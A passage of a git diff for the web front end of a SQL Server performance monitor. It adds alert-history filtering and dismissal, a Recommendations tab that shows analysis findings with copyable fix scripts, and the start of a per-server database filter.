+function isAnalysisAlert(a) {
+  return typeof a.metric_name === "string" && a.metric_name.startsWith("Analysis:");
+}
+
+function alertAdvice(a) {
+  const key = alertKey(a);
+  if (!adviceCache.has(key)) {
+    const pending = readTool("get_alert_details", { server_id: a.server_id, metric_name: a.metric_name, alert_time: a.alert_time })
+      .then((res) => {
+        if (res.kind === "data") return Array.isArray(res.data?.details) && res.data.details.length > 0 ? res.data.details : null;
+        if (res.kind === "empty") return null;
+        adviceCache.delete(key);
+        return null;
+      }, () => { adviceCache.delete(key); return null; });
+    adviceCache.set(key, pending);
+  }
+  return adviceCache.get(key);
+}
+
 /* The expansion body: unchanged shape from the pre-#4194 eager version (see detailCell above), just built lazily. */
-function detailBody(a) {
+function detailBody(a, details) {
   const hasDetail = a.detail_text != null && String(a.detail_text).trim().length > 0;
-  const fields = hasDetail ? parseDetailFields(a.detail_text) : null;
+  /* #5241: an Analysis row's stored context holds advice; opening the row fetches it (detailCell) as `details`: the
+   * structured items the desktop's Alert Detail window shows - heading, labelled fields, the advice prose and
+   * the fix script. They replace the parsed detail_text, which is the same headings and fields without the prose.
+   * A row without them (not an Analysis alert, no advice, a failed fetch) keeps the detail_text rendering below. */
+  const items = Array.isArray(details) && details.length > 0 ? details : null;
+  const fields = !items && hasDetail ? parseDetailFields(a.detail_text) : null;
   const body = [];
-  if (fields) {
+  if (items) {
+    for (const item of items) body.push(...detailItem(item));
+  } else if (fields) {
     body.push(el("div", { class: "detail-fields" }, fields.map(fieldRow)));
   } else if (hasDetail) {
     body.push(el("div", { class: "detail-raw", text: a.detail_text }));
@@ -163,6 +286,32 @@ function detailBody(a) {
   return body;
 }
 
+/* One structured detail item (#5241): its heading and labelled fields in the same grid the parsed detail_text uses,
+ * then its body - advice prose as a paragraph, a fix script as a <pre> with a Copy button (the Recommendations tab's
+ * pattern, analysis-findings.js). Advise-only: the read never carries the desktop's Apply payload, and nothing here
+ * runs a script. Every value reaches the DOM through el()'s text path (R4). */
+function detailItem(item) {
+  const nodes = [];
+  const rows = [];
+  if (item.heading) rows.push(fieldRow([null, item.heading]));
+  for (const f of Array.isArray(item.fields) ? item.fields : []) rows.push(fieldRow([f.label, f.value]));
+  if (rows.length > 0) nodes.push(el("div", { class: "detail-fields" }, rows));
+  const text = item.body == null ? "" : String(item.body);
+  if (text.trim().length === 0) return nodes;
+  if (item.is_code_block) {
+    const copy = el("button", { class: "btn small", type: "button", text: "Copy" });
+    copy.addEventListener("click", async () => {
+      const ok = await copyText(text);
+      copy.textContent = ok ? "Copied" : "Copy failed";
+    });
+    nodes.push(el("pre", { class: "reco-fix", text }));
+    nodes.push(el("div", { class: "reco-actions" }, [copy]));
+  } else {
+    nodes.push(el("p", { class: "detail-advice", text }));
+  }
+  return nodes;
+}
+
 /* One parsed pair -> a grid row of the two-column .detail-fields grid. A section heading (no label) is its own
  * full-width row: a lone value in the label/value grid would take the label column's cell and shift every later
  * label and value over by one, which put the labels in the wide value column's far edge, out of sight, leaving
@@ -209,17 +358,18 @@ function parseDetailFields(text) {
 }
 
 /* A row's identity for the #4194 keyed refresh: the same (server, metric, fired instant) triple triageCell()
- * above already treats as identifying one alert - there is no surrogate id in get_alert_history's payload. */
+ * above already treats as identifying one alert, with server_id in front so two servers that share a display
+ * name never collide (a row without a server_id keys on its names and time alone) - there is no surrogate id in get_alert_history's payload. */
 function alertKey(a) {
-  return a.server_name + "\u0000" + a.metric_name + "\u0000" + a.alert_time;
+  return (a.server_id == null ? "" : a.server_id) + "\u0000" + a.server_name + "\u0000" + a.metric_name + "\u0000" + a.alert_time;
 }
 
 /* Builds ONE <tr>, styled identically to VIZ.table's own row (same columns, same cell()), by handing it a
  * single-row page and lifting the <tr> back out - reuses the shared renderer's formatting/severity classes
  * without duplicating them, and without vizTable itself having to know about incremental refresh. */
 function alertRowNode(row) {
-  const wrap = VIZ.table({ alerts: [row] }, { rowsKey: "alerts", columns: ALERT_COLUMNS });
-  return wrap.querySelector("tbody tr");
+  const wrap = VIZ.table({ alerts: [row] }, { rowsKey: "alerts", columns: alertColumns(), tools: false });
+  return markDismissed(wrap.querySelector("tbody tr"), row);
 }
 
 /* #4194: app.js's route() calls renderAlerts(main) fresh on every 60s poll tick as well as on first navigation
@@ -240,6 +390,14 @@ function reconcileRows(tbody, rows, rowMap) {
   for (const row of rows) {
     const key = alertKey(row);
     let tr = rowMap.get(key);
+    /* dismissed is not part of the key, so a kept node whose alert was dismissed (or restored) since the last
+     * read is replaced by a freshly built one. */
+    const old = tr && gridRowOf(tr);
+    if (tr && old && (old.dismissed === true) !== (row.dismissed === true)) {
+      if (tr === anchor) anchor = anchor.nextSibling;
+      tr.remove();
+      tr = null;
+    }
     if (!tr) {
       tr = alertRowNode(row);
       rowMap.set(key, tr);
@@ -252,18 +410,196 @@ function reconcileRows(tbody, rows, rowMap) {
   }
 }
 
+/* The four read choices, kept at module scope so the 60 s poll (which calls renderAlerts again) and a visit to
+ * another page and back keep them. The range is the shared time range picker's spec (#5562), read as of each read so a
+ * rolling range slides. The picker takes the reach from the catalog (get_alert_history reaches 2160 hours, 90 days: the
+ * alert table's retention, DarlingRetention.AlertHistoryRetentionDays, ruling R8, #5562 L4b), so a longer range is greyed
+ * out with the reason, never clamped, and there is no All. The row limits stop at the dispatch layer's 1000-row ceiling. The server is the registry's server_name ("" = the whole fleet). */
+const DEFAULT_HOURS = 24;
+const LIMIT_CHOICES = [200, 500, 1000];
+const choices = { spec: relativeSpec(DEFAULT_HOURS * 3600000), limit: 200, server: "", dismissed: false };
+
+/* The get_alert_history request the current choices ask for: `{ params, startMs }`, or `{ error }` when the range cannot be read right now
+ * (Today at exactly midnight, zero length) - the page shows that reason, never a different window (#5562 review r1 L3). server_name and
+ * include_dismissed are left out (buildQuery drops empty values) when they are at their defaults, and as_of when the range ends now.
+ * The read takes whole hours, so `startMs` is the range's exact start: the page trims the reply to it (review r1 H2). */
+function readRequest() {
+  const r = windowResultOfSpec(choices.spec);
+  if (r.error) return { error: r.error };
+  const w = r.window;
+  return {
+    startMs: w.startMs,
+    params: {
+      hours_back: w.hours,
+      as_of: w.asOf,
+      limit: choices.limit,
+      server_name: choices.server || null,
+      include_dismissed: choices.dismissed ? "true" : null,
+    },
+  };
+}
+
+/* Keeps the alerts at or after the range start. The newest-first reply and the row cap mean the cut cannot hide an in-range row (the
+ * rows it drops are the oldest), the same argument job-history.js makes for its runs. An unreadable time is kept.
+ * alert_time is the store's naive UTC with no zone suffix, and Date.parse would read that as the browser's LOCAL time, shifting every
+ * alert by the browser's offset, so parseUtc (util.js) reads it as UTC (#5570 review round 2, H1). */
+export function trimAlertsToStart(alerts, startMs) {
+  return alerts.filter((a) => {
+    const d = parseUtc(a && a.alert_time);
+    return d === null || d.getTime() >= startMs;
+  });
+}
+
+function windowLabel() {
+  return specName(choices.spec).toLowerCase();
+}
+
+/* The server names list_servers reported on the last successful read; the picker keeps the chosen server in the
+ * list even when that read fails or no longer names it, so the choice stays visible. */
+let serverNames = [];
+
+function serverRowsOf(data) {
+  if (Array.isArray(data)) return data;
+  if (data && Array.isArray(data.servers)) return data.servers;
+  return [];
+}
+
+async function loadServerNames() {
+  const res = await readTool("list_servers", {});
+  if (res.kind === "error" || res.kind === "empty") return;
+  serverNames = orderServers(serverRowsOf(res.data))
+    .map((r) => ({ name: r.server_name, label: r.display_name || r.server_name }))
+    .filter((r) => r.name);
+}
+
+function pickerOptions(items) {
+  return items.map((i) => el("option", { value: String(i.value), text: i.label }));
+}
+
+function picker(label, items, chosen) {
+  const sel = el("select", { class: "range-select-inline", "aria-label": label }, pickerOptions(items));
+  sel.value = String(chosen);
+  return sel;
+}
+
+function control(label, select) {
+  return el("label", { class: "range-control" }, [el("span", { text: label }), select]);
+}
+
+function serverItems() {
+  const items = [{ value: "", label: "All servers" }].concat(serverNames.map((r) => ({ value: r.name, label: r.label })));
+  if (choices.server && !serverNames.some((r) => r.name === choices.server)) items.push({ value: choices.server, label: choices.server });
+  return items;
+}
+
+/* A dismissed row (include_dismissed) renders dimmed and italic, so it reads as acknowledged beside the live
+ * ones; the class is set where each row node is built, the title says what it means, and the Status cell
+ * carries the word. */
+function markDismissed(tr, row) {
+  if (!tr || !row) return tr;
+  if (row.dismissed === true) {
+    tr.className = ((tr.className || "") + " alert-dismissed").trim();
+    tr.setAttribute("title", "Dismissed");
+  }
+  return tr;
+}
+
 /* Remembers the last mount so a poll tick landing on the SAME still-open page can reconcile in place instead of
  * rebuilding (module-level: renderAlerts gets no state of its own from app.js's route(), which just calls it
  * again). `headEl.isConnected` tells a poll tick apart from a fresh navigation: mount() on any OTHER page
  * detaches this page's headEl from the document, so a stale `live` falls through to a full rebuild below. */
 let live = null;
 
+/* The dismiss toolbar: Dismiss Selected (with the checked count), Dismiss All (every listed row the current
+ * filters show), and a status line carrying the last outcome. Present only for a seat that can edit. */
+function buildDismissBar(state) {
+  const selBtn = el("button", { type: "button", class: "btn", text: "Dismiss Selected" });
+  const allBtn = el("button", { type: "button", class: "btn", text: "Dismiss All" });
+  const status = el("span", { class: "dismiss-status", text: "" });
+  const bar = el("div", { class: "dismiss-bar" }, [selBtn, allBtn, status]);
+  state.dismiss = { bar, selBtn, allBtn, status, busy: false };
+  selBtn.addEventListener("click", () => dismissRows(state, [...selected.values()]));
+  allBtn.addEventListener("click", () => {
+    const rows = visibleRows(state).filter(dismissable);
+    if (!rows.length) return;
+    /* The prompt the Viewer asks before Dismiss All. Unlike the Viewer, which dismisses every live alert in the
+       window, this page dismisses only the rows it lists, so a truncated page says the rest stay live. */
+    let ask = "Dismiss " + rows.length + " alert(s)?\n\nDismissed alerts are hidden from this view but remain in the store.";
+    if (state.truncated) ask += "\n\nMore alerts exist than the " + state.alerts.length + " listed; only the listed ones are dismissed and the rest stay live.";
+    if (typeof globalThis.confirm === "function" && !globalThis.confirm(ask)) return;
+    dismissRows(state, rows);
+  });
+  updateDismissBar(state);
+  return bar;
+}
+
+function updateDismissBar(state) {
+  const d = state.dismiss;
+  if (!d) return;
+  d.selBtn.textContent = selected.size ? "Dismiss Selected (" + selected.size + ")" : "Dismiss Selected";
+  d.selBtn.disabled = d.busy || selected.size === 0;
+  d.allBtn.disabled = d.busy || !visibleRows(state).some(dismissable);
+}
+
+/* The rows the current filter box lets through - what the table shows and what Dismiss All acts on. */
+function visibleRows(state) {
+  const q = state.filter.value.trim().toLowerCase();
+  return q ? state.alerts.filter((a) => String(a.server_name || "").toLowerCase().includes(q)) : state.alerts;
+}
+
+function dismissOutcomeText(t) {
+  let text = "Dismissed " + t.dismissed + " of " + t.requested;
+  if (t.already_dismissed > 0) text += "; " + t.already_dismissed + " already dismissed";
+  if (t.unknown > 0) text += "; " + t.unknown + " " + (t.unknown === 1 ? "was" : "were") + " already gone";
+  return text;
+}
+
+async function dismissRows(state, rows) {
+  const d = state.dismiss;
+  if (!d || d.busy || !rows.length) return;
+  d.busy = true;
+  updateDismissBar(state);
+  d.status.textContent = "Dismissing " + rows.length + "…";
+  const totals = { requested: 0, dismissed: 0, already_dismissed: 0, unknown: 0 };
+  let failure = null;
+  for (let i = 0; i < rows.length && !failure; i += DISMISS_CHUNK) {
+    const res = await apiSend("POST", "/api/alert-history/dismiss", { alerts: rows.slice(i, i + DISMISS_CHUNK).map(dismissKeyOf) });
+    if (res.kind === "data" && res.data && typeof res.data === "object") {
+      for (const k of Object.keys(totals)) totals[k] += Number(res.data[k]) || 0;
+    } else if (res.status === 403) {
+      failure = res.message && !/^Request failed/.test(res.message) ? res.message : "This session is read-only, so nothing was dismissed.";
+    } else if (res.kind === "auth") {
+      failure = res.message || "Your session has expired. Sign in again.";
+    } else {
+      failure = res.message || "The dismiss request failed.";
+    }
+  }
+  d.busy = false;
+  if (failure) {
+    /* Never claim success; a partly done request says how far it got. */
+    d.status.textContent = totals.requested ? failure + " (" + dismissOutcomeText(totals) + " before it failed)" : failure;
+    d.status.setAttribute("class", "dismiss-status dismiss-error");
+    updateDismissBar(state);
+    if (totals.requested) await refreshAlerts(state);
+    return;
+  }
+  /* Unselect only what was sent; a box ticked while the request was in flight stays checked. */
+  for (const a of rows) selected.delete(alertKey(a));
+  uncheckBoxes(state);
+  d.status.setAttribute("class", "dismiss-status");
+  d.status.textContent = dismissOutcomeText(totals);
+  await refreshAlerts(state);
+}
+
 export async function renderAlerts(main) {
   if (live && live.main === main && live.headEl.isConnected) {
     await refreshAlerts(live);
     return;
   }
 
+  canMute = !!(await getSession()).can_edit;
+  if (!canMute) selected.clear();
+  await loadServerNames();
   const filter = el("input", {
     class: "filter-box",
     type: "text",
@@ -271,38 +607,86 @@ export async function renderAlerts(main) {
     "aria-label": "Filter alerts by server",
   });
 
+  const rangePicker = pageRangePicker({
+    read: "get_alert_history",
+    spec: choices.spec,
+    label: "Time range",
+    /* No collector feeds the alert log, so there is no "collected every N minutes" note. */
+    useCatalogInterval: false,
+    /* The longest choice is the alert table's retention (90 days, ruling R8), not only a typed "90d". */
+    offerReach: true,
+    onChange: (spec) => { choices.spec = spec; changed(); },
+  }).picker;
+  const limitSel = picker("Row limit", LIMIT_CHOICES.map((n) => ({ value: n, label: n + " rows" })), choices.limit);
+  const serverSel = picker("Server", serverItems(), choices.server);
+  const dismissedBox = el("input", { type: "checkbox", "aria-label": "Show dismissed alerts" });
+  dismissedBox.checked = choices.dismissed;
+
+  const meta = el("div", { class: "meta", text: "" });
+  const noticeBox = el("div", {});
   const tableBox = el("div", {});
   const headEl = el("div", { class: "page-head" }, [
     el("h2", { text: "Alert History" }),
-    el("div", { class: "meta", text: "fleet-wide · last 24h" }),
+    meta,
     el("div", { class: "spacer" }),
+    el("div", { class: "range-control" }, [el("span", { text: "Range" }), rangePicker.node]),
+    control("Rows", limitSel),
+    control("Server", serverSel),
+    el("label", { class: "range-control" }, [dismissedBox, el("span", { text: "Show dismissed" })]),
     filter,
   ]);
-  mount(main, [headEl, tableBox]);
+  live = { main, headEl, meta, noticeBox, tableBox, filter, alerts: [], tbody: null, rowMap: null, seq: 0, dismiss: null };
+  mount(main, canMute ? [headEl, buildDismissBar(live), noticeBox, tableBox] : [headEl, noticeBox, tableBox]);
 
-  mount(tableBox, loadingStrip("Loading alerts…"));
-  const res = await readTool("get_alert_history", { hours_back: 24, limit: 200 });
-  if (res.kind === "error") return mount(tableBox, errorStrip(res.message));
-  if (res.kind === "empty") return mount(tableBox, emptyStrip(res.message));
+  /* A changed choice refetches and reconciles the table that is already drawn, the same path a poll tick takes.
+     It also drops the checked rows: they were picked from the list the old choice showed. */
+  const changed = () => { clearSelection(live); return refreshAlerts(live); };
+  limitSel.addEventListener("change", () => { choices.limit = Number(limitSel.value); changed(); });
+  serverSel.addEventListener("change", () => { choices.server = serverSel.value; changed(); });
+  dismissedBox.addEventListener("change", () => { choices.dismissed = !!dismissedBox.checked; changed(); });
+  filter.addEventListener("input", () => {
+    clearSelection(live);
+    drawAlerts(live);
+    updateDismissBar(live);
+  });
 
-  live = { main, headEl, tableBox, filter, alerts: res.data.alerts || [], tbody: null, rowMap: null };
-  filter.addEventListener("input", () => drawAlerts(live));
-  drawAlerts(live);
+  mount(tableBox, loadingStrip("Loading alerts…"));
+  await refreshAlerts(live);
 }
 
-/* A background poll tick: re-fetch, then hand the new alerts to drawAlerts() to reconcile in place. Unlike the
- * first mount, this never shows the loading strip - the previous table stays exactly as it is until the new
- * page is ready, so a healthy 60s tick with no new alert produces no visible change and no DOM churn at all. */
+/* Re-fetches with the current choices, then hands the new alerts to drawAlerts() to reconcile in place. Unlike
+ * the first mount, a poll tick never shows the loading strip - the previous table stays exactly as it is until
+ * the new page is ready, so a healthy 60s tick with no new alert produces no visible change and no DOM churn at
+ * all. A changed window or server reconciles the same way: rows that left the window are removed, new ones land
+ * in order. A reply that arrives after a newer request was made is dropped. */
 async function refreshAlerts(state) {
-  const res = await readTool("get_alert_history", { hours_back: 24, limit: 200 });
+  const seq = ++state.seq;
+  const req = readRequest();
+  const res = req.error ? { kind: "error", message: "This range cannot be read yet: " + req.error } : await readTool("get_alert_history", req.params);
+  if (seq !== state.seq) return;
+  state.meta.textContent = (choices.server ? choices.server : "fleet-wide") + " · " + windowLabel();
+  mount(state.noticeBox, []);
   if (res.kind === "error" || res.kind === "empty") {
+    state.alerts = [];
     state.tbody = null;
     state.rowMap = null;
+    state.truncated = false;
+    /* The checked set survives a failed read; it is pruned only against a successful one. */
+    updateDismissBar(state);
     mount(state.tableBox, res.kind === "error" ? errorStrip(res.message) : emptyStrip(res.message));
     return;
   }
-  state.alerts = res.data.alerts || [];
+  state.alerts = trimAlertsToStart(res.data.alerts || [], req.startMs);
+  state.truncated = res.data.truncated === true;
+  /* A checked row that is no longer listed (dismissed elsewhere, aged out) is no longer selected. */
+  const listed = new Set(state.alerts.filter(dismissable).map(alertKey));
+  for (const key of [...selected.keys()]) if (!listed.has(key)) selected.delete(key);
+  if (res.data.truncated === true) {
+    mount(state.noticeBox, noticeStrip(
+      "More alerts exist than shown: the newest " + state.alerts.length + " are listed. Raise the row limit or narrow the range to see the rest."));
+  }
   drawAlerts(state);
+  updateDismissBar(state);
 }
 
 /* Applies the (client-side, unchanged) server filter to state.alerts and either reconciles the existing table
@@ -320,14 +704,19 @@ function drawAlerts(state) {
 
   if (state.tbody) {
     reconcileRows(state.tbody, rows, state.rowMap);
+    reapplyGridSort(state.tbody);
     return;
   }
 
-  const table = VIZ.table({ alerts: rows }, { rowsKey: "alerts", columns: ALERT_COLUMNS });
+  const table = VIZ.table({ alerts: rows }, { rowsKey: "alerts", columns: alertColumns() });
   mount(state.tableBox, table);
   const tbody = table.querySelector("tbody");
   const rowMap = new Map();
-  [...tbody.children].forEach((tr, i) => rowMap.set(alertKey(rows[i]), tr));
+  [...tbody.children].forEach((tr) => {
+    const row = gridRowOf(tr);
+    markDismissed(tr, row);
+    rowMap.set(alertKey(row), tr);
+  });
   state.tbody = tbody;
   state.rowMap = rowMap;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js
new file mode 100644
index 0000000000..a412aefc7c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js
@@ -0,0 +1,210 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The Recommendations server tab (#4843) — the web twin of the desktop viewer's analysis Recommendations view
+ * (not the FinOps Recommendations tab). One read, get_analysis_findings, for the server the page is on: the
+ * persisted findings grouped by incident (incident_id; a finding with none is its own group), each group headed
+ * by its highest-severity finding, each card showing a severity badge, the advice text, the fix script in a
+ * <pre> with a Copy button, and, for an incident finding, a link to that server's Queries tab.
+ *
+ * Advise-only: nothing here runs a fix, mutes, or asks the service for a fresh analysis.
+ *
+ * Which findings are "incidents" follows the desktop: a finding that carries a structured_remediation is a
+ * standing config fix and gets no Active Queries link; every other finding with a time_range does. The link
+ * opens the server's Queries tab, which has no from/to deep link on the web, so it carries the server only.
+ *
+ * State: which groups the reader has opened or closed lives in module scope (`openState`, keyed by server then
+ * by group key), because the server page rebuilds this tab on every 60 s poll and on every Range change.
+ *
+ * R4 (XSS): every value, the fix script included, reaches the DOM through el()'s text path.
+ */
+
+import { el, readToolWithinKeptHistory, keptWindowStrip, noticeStrip, readErrorStrip, emptyStrip, loadingStrip, localTime, bandClass, dbScopeChip } from "../util.js";
+
+/** The desktop's severity cutoffs: >= 1.5 Critical, >= 0.75 Warning, else Info. */
+export function severityLabel(severity) {
+  const s = Number(severity);
+  if (s >= 1.5) return "Critical";
+  if (s >= 0.75) return "Warning";
+  return "Info";
+}
+
+/** Info has no band of its own in the colour vocabulary, so it takes the neutral one. */
+function badgeClass(label) {
+  return "badge " + bandClass(label === "Info" ? "Unknown" : label);
+}
+
+/** An incident finding: not a standing config fix (the read's is_config_fix, the desktop's rule; force-plan stays an incident), with a time window to point at. */
+export function showsActiveQueriesLink(f) {
+  return !f.is_config_fix && !!(f.time_range && f.time_range.start && f.time_range.end);
+}
+
+/**
+ * The findings as incident groups, most severe group first. A finding with no incident_id is a group of its own.
+ * Within a group the order the read gave (still-firing first, then severity) is kept after a severity sort.
+ */
+export function groupFindings(findings) {
+  const order = [];
+  const buckets = new Map();
+  let solo = 0;
+  for (const f of findings || []) {
+    const key = f.incident_id ? "i:" + f.incident_id : "s:" + solo++;
+    if (!buckets.has(key)) {
+      buckets.set(key, []);
+      order.push(key);
+    }
+    buckets.get(key).push(f);
+  }
+  const groups = order.map((key) => {
+    const items = buckets.get(key).slice().sort((a, b) => (b.severity || 0) - (a.severity || 0));
+    const primary = items[0];
+    return { key, items, primary, label: severityLabel(primary.severity) };
+  });
+  return groups.map((g, i) => ({ g, i })).sort((a, b) => (b.g.primary.severity || 0) - (a.g.primary.severity || 0) || a.i - b.i).map((x) => x.g);
+}
+
+/** The group header: primary title, finding count when more than one, severity label. */
+export function groupHeader(group) {
+  const title = findingTitle(group.primary);
+  const n = group.items.length;
+  return title + " · " + (n > 1 ? n + " findings · " : "") + group.label.toUpperCase();
+}
+
+function findingTitle(f) {
+  return (f.advice && f.advice.headline) || f.story_path || f.category || "Finding";
+}
+
+/* ─────────────────────────── state ─────────────────────────── */
+
+/** server -> Map(group key -> open?). A group never touched takes its default: open unless Info-only. */
+const openState = new Map();
+
+function isOpen(server, group) {
+  const m = openState.get(server);
+  return m && m.has(group.key) ? m.get(group.key) : group.label !== "Info";
+}
+
+function setOpen(server, key, open) {
+  if (!openState.has(server)) openState.set(server, new Map());
+  openState.get(server).set(key, open);
+}
+
+/* ─────────────────────────── copy ─────────────────────────── */
+
+/** Copies text with the async clipboard API, falling back to a hidden textarea. Resolves true when it copied. */
+export async function copyText(text) {
+  try {
+    if (typeof navigator !== "undefined" && navigator.clipboard && navigator.clipboard.writeText) {
+      await navigator.clipboard.writeText(text);
+      return true;
+    }
+  } catch {
+    /* fall through to the textarea path */
+  }
+  try {
+    const ta = el("textarea", { style: "position:fixed;left:-1000px;top:0", readonly: "readonly" });
+    ta.value = text;
+    document.body.appendChild(ta);
+    ta.select();
+    const ok = typeof document.execCommand === "function" ? document.execCommand("copy") : false;
+    document.body.removeChild(ta);
+    return !!ok;
+  } catch {
+    return false;
+  }
+}
+
+function copyButton(text) {
+  const btn = el("button", { class: "btn small", type: "button", text: "Copy fix" });
+  btn.addEventListener("click", async () => {
+    const ok = await copyText(text);
+    btn.textContent = ok ? "Copied" : "Copy failed";
+  });
+  return btn;
+}
+
+/* ─────────────────────────── rendering ─────────────────────────── */
+
+/** The score after the label, or nothing when the row carries no numeric severity. */
+function severityText(severity) {
+  const n = severity == null || severity === "" ? NaN : Number(severity);
+  return Number.isFinite(n) ? " " + n.toFixed(2) : "";
+}
+
+function card(server, f) {
+  const label = severityLabel(f.severity);
+  const advice = f.advice || {};
+  const kids = [
+    el("div", { class: "reco-head" }, [
+      el("span", { class: badgeClass(label), text: label.toUpperCase() + severityText(f.severity) }),
+      f.category ? el("span", { class: "muted", text: " " + f.category }) : null,
+    ]),
+    el("h4", { text: findingTitle(f) }),
+    advice.investigation ? el("p", { class: "reco-advice", text: advice.investigation }) : null,
+    advice.remediation ? el("p", { class: "reco-advice", text: advice.remediation }) : null,
+    el("div", { class: "muted", text: "Seen " + f.occurrences + "× · last " + localTime(f.last_seen) + (f.recurring_at_this_hour ? " · recurs at this hour" : "") }),
+  ];
+  if (f.remediation_command) {
+    kids.push(el("pre", { class: "reco-fix", text: f.remediation_command }));
+  }
+  const actions = [];
+  if (f.remediation_command) actions.push(copyButton(f.remediation_command));
+  if (showsActiveQueriesLink(f)) {
+    actions.push(el("a", { class: "btn small", href: "#/server/" + encodeURIComponent(server) + "/queries", text: "Open in Active Queries" }));
+  }
+  if (actions.length) kids.push(el("div", { class: "reco-actions" }, actions));
+  return el("div", { class: "card reco-card" }, kids);
+}
+
+function groupNode(server, group) {
+  const details = el("details", { class: "reco-group" }, [
+    el("summary", { class: "disc-summary" }, [groupHeader(group)]),
+    el("div", { class: "disc-body" }, group.items.map((f) => card(server, f))),
+  ]);
+  if (isOpen(server, group)) details.setAttribute("open", "");
+  details.addEventListener("toggle", () => setOpen(server, group.key, !!details.open));
+  return details;
+}
+
+/** The nodes for one read result (kept apart from the fetch so a test can drive it). */
+export function renderFindings(server, res) {
+  if (res.kind === "error") return [readErrorStrip(res.message)];
+  if (res.kind === "empty") return [keptWindowStrip(res), emptyStrip(res.message)];
+  if (res.kind !== "data") return [];
+  const data = res.data || {};
+  const groups = groupFindings(data.findings);
+  /* #5558: databases left out because this node holds only a secondary copy of them in an availability group. */
+  const replicaNote = typeof data.secondary_replica_note === "string" && data.secondary_replica_note ? noticeStrip(data.secondary_replica_note) : null;
+  if (!groups.length) return [keptWindowStrip(res), replicaNote, emptyStrip("No findings in this window.")];
+  return [
+    keptWindowStrip(res),
+    replicaNote,
+    typeof data.truncation_note === "string" && data.truncation_note ? noticeStrip(data.truncation_note) : null,
+    typeof data.findings_truncated_note === "string" && data.findings_truncated_note ? noticeStrip(data.findings_truncated_note) : null,
+    ...groups.map((g) => groupNode(server, g)),
+  ];
+}
+
+/** The Recommendations tab, in the shape server-tabs.js registers. */
+export const analysisFindingsTab = {
+  id: "recommendations",
+  label: "Recommendations",
+  /* The windowed reads this tab makes, so the server page reads its reach from the catalog (#5562 review r1 M4). */
+  reachReads: ["get_analysis_findings"],
+  build: (server, ctx) => {
+    const body = el("div", { class: "panel-body" }, [loadingStrip()]);
+    (async () => {
+      const res = await readToolWithinKeptHistory("get_analysis_findings", { server, hours: ctx.hours, limit: 50, full_text: true }, ctx && ctx.signal);
+      if (res.kind === "aborted") return;
+      while (body.firstChild) body.removeChild(body.firstChild);
+      for (const n of renderFindings(server, res)) if (n) body.appendChild(n);
+    })();
+    return [el("div", { class: "panel card span-2" }, [el("h3", {}, ["Recommendations", el("span", { class: "panel-sub", text: " " + ctx.label }), dbScopeChip("get_analysis_findings")]), body])];
+  },
+};
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js
new file mode 100644
index 0000000000..cf1e0aa939
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js
@@ -0,0 +1,270 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The server page's database filter (#5245, part of #5244): a toolbar button ("Databases: All", "Databases: 2 of 37") and a
+ * popover on multi-picker.js, the web twin of the desktop viewer's database picker. The choice is per browser and per server
+ * (viewer-local.js); the page applies it to every read that can take it (util.js, database-filter-reads.js).
+ *
+ * Apply stores EXACTLY the checked set (desktop parity). A checked set is never turned into "All" because every offered name is
+ * checked: the offered list leaves out master, model, msdb and tempdb, so "all offered" is not "all". Only the "All databases"
+ * button, or an Apply with nothing checked, clears the filter. A stored name the inventory no longer offers stays checked and
+ * listed (multi-picker.js lists a checked value after the options), so a database that was dropped can still be unchecked. A
+ * check past 50 names or past the encoded byte budget is refused with a sentence. Every name reaches the DOM through el's text
+ * path or a property setter, never as HTML.
+ *
+ * The inventory comes from /api/server-databases when the popover opens. The label reads "Databases: 2" until an inventory
+ * has loaded and "Databases: 2 of 37" after (the desktop sets its total only when its popup opens, so before the first open
+ * it would read "2 of 2").
+ *
+ * When the route cut the list at its cap (truncated), the names past it are not in the picker, so typing in the search box asks the
+ * route again with the text (/api/server-databases?server=...&search=...), after a short pause, and the list shows the newest
+ * answer; the route matches the text against every database the store has collected, not only the first page. A list that was
+ * not cut already holds every name, so its search keeps filtering the loaded names and reads nothing. (#5314)
+ *
+ * The 60 s poll rebuilds the page head, so the open flag, the loaded inventories and the picker's draft live at module scope,
+ * and a rebuilt control opens where the old one was.
+ */
+
+import { el, mount, apiGet } from "../util.js";
+import { multiPicker, pickerState } from "../multi-picker.js";
+import { getDatabaseFilter, setDatabaseFilter, isDatabaseName, MAX_DB_NAMES, MAX_DB_QUERY_BYTES, databaseQueryBytes } from "../viewer-local.js";
+
+const inventories = new Map(); // server_id -> the database names the store offers
+const cutInventories = new Set(); // server_ids whose offered list the route cut at its cap (more databases exist)
+let openFor = null; // the server_id whose popover is open
+let loadFailed = ""; // the sentence for the last failed inventory load of the open popover
+const searchAnswers = new Map(); // server_id -> { query, names, cut }: the route's answer for the search text typed into a cut list
+const searchSeqs = new Map(); // server_id -> the number of the newest search; an older answer that lands later is dropped
+const searchTimers = new Map(); // server_id -> the pending debounce timer
+const searchAborts = new Map(); // server_id -> the AbortController of the search read in flight
+const painters = new Map(); // server_id -> the newest control's repaint, so an answer paints the control the page holds now
+
+/** The pause after the last keystroke before a cut list's search asks the route, in milliseconds. */
+export const SEARCH_DEBOUNCE_MS = 250;
+
+const pickerKey = (serverId) => "database-filter:" + serverId;
+
+/** Forgets a server's search answer and cancels its pending and in-flight search; the popover then lists the first page again. */
+function dropSearch(serverId) {
+  clearTimeout(searchTimers.get(serverId));
+  searchTimers.delete(serverId);
+  const inFlight = searchAborts.get(serverId);
+  if (inFlight) inFlight.abort();
+  searchAborts.delete(serverId);
+  searchSeqs.set(serverId, (searchSeqs.get(serverId) || 0) + 1);
+  searchAnswers.delete(serverId);
+}
+
+/** The button's text: "Databases: All", "Databases: 2" (no inventory yet) or "Databases: 2 of 37". */
+export function databaseFilterLabel(chosen, offered) {
